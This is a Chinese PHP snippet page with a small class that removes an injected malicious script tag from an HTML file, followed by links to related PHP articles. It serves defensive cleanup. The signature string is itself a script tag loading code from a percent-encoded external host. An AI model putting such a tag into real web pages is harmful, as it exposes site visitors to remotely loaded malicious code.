php 清除网页病毒的方法

yipeiwu_com5年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php遍历目录viewDir函数

复制代码 代码如下:<?php /** * 遍历目录,找出目录下某个后缀名的所有文件 * */ function viewDir ($directory, $ext) { if (...

PHP 正则判断中文UTF-8或GBK的思路及具体实现

UTF-8匹配: 在javascript中,要判断字符串是中文是很简单的。比如: 复制代码 代码如下: var str = "php编程"; if (/^[\u4e00-\u9fa5]+...

php准确获取文件MIME类型的方法

本文实例讲述了php准确获取文件MIME类型的方法。分享给大家供大家参考。具体实现方法如下: <?php $mime = array ( //a...

PHP7中I/O模型内核剖析详解

PHP7中I/O模型内核剖析详解

1.同步:我客户端(C端调用者)一个功能,该功能没有结束前,我死等结果。 2.异步:我(c端调用者)调用一个功能,不知道该功能结果,该功能有结果后通知我,即回调通知 3.阻塞:就是调用我...

PHP file_get_contents 函数超时的几种解决方法

这里就简单介绍两种: 一、增加超时的时间限制 这里需要注意:set_time_limit只是设置你的PHP程序的超时时间,而不是file_get_contents函数读取URL的超时时间...